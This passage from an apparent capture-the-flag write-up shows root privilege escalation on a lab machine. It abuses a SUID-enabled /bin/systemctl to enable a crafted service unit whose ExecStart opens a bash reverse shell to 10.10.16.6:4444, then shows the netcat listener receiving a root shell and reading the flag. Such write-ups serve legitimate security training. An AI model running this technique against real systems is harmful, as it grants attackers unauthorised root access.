    23972     12 -rwsr-xr-x   1 root     root        10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
    32974    432 -rwsr-xr-x   1 root     root       440728 Mar  1  2019 /usr/lib/openssh/ssh-keysign
      289     44 -rwsr-xr--   1 root     messagebus    42992 Jun  9  2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   141993   1076 -rwsr-sr-x   1 pepper   pepper      1099016 Jan  5 11:10 /tmp/p_sh

The /bin/systemctl is set for pepper, which we can use to escalate to root

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
p_sh-4.4$ pwd
pwd
/dev/shm
p_sh-4.4$ cat shell.service
cat shell.service
[Unit]
Description=Gives a shell as root
[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.6/4444 0>&1'
[Install]
WantedBy=multi-user.target
p_sh-4.4$ pwd
/dev/shm
p_sh-4.4$ ls
shell.service               
p_sh-4.4$ /bin/systemctl enable /dev/shm/shell.service
Created symlink /etc/systemd/system/multi-user.target.wants/shell.service -> /dev/shm/shell.service.
Created symlink /etc/systemd/system/shell.service -> /dev/shm/shell.service.
p_sh-4.4$ /bin/systemctl start shell 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
└─# rlwrap nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.143] 40396
bash: cannot set terminal process group (21456): Inappropriate ioctl for device
bash: no job control in this shell
root@jarvis:/# id
id
uid=0(root) gid=0(root) groups=0(root)
root@jarvis:~# pwd
pwd
/root
root@jarvis:~# ls
ls
clean.sh
root.txt
sqli_defender.py
root@jarvis:~# cat root.txt
cat root.txt
4bc5xxxxxxxxxxxxxxxxxxxxxxxxxxxx
This post is licensed under CC BY 4.0 by the author.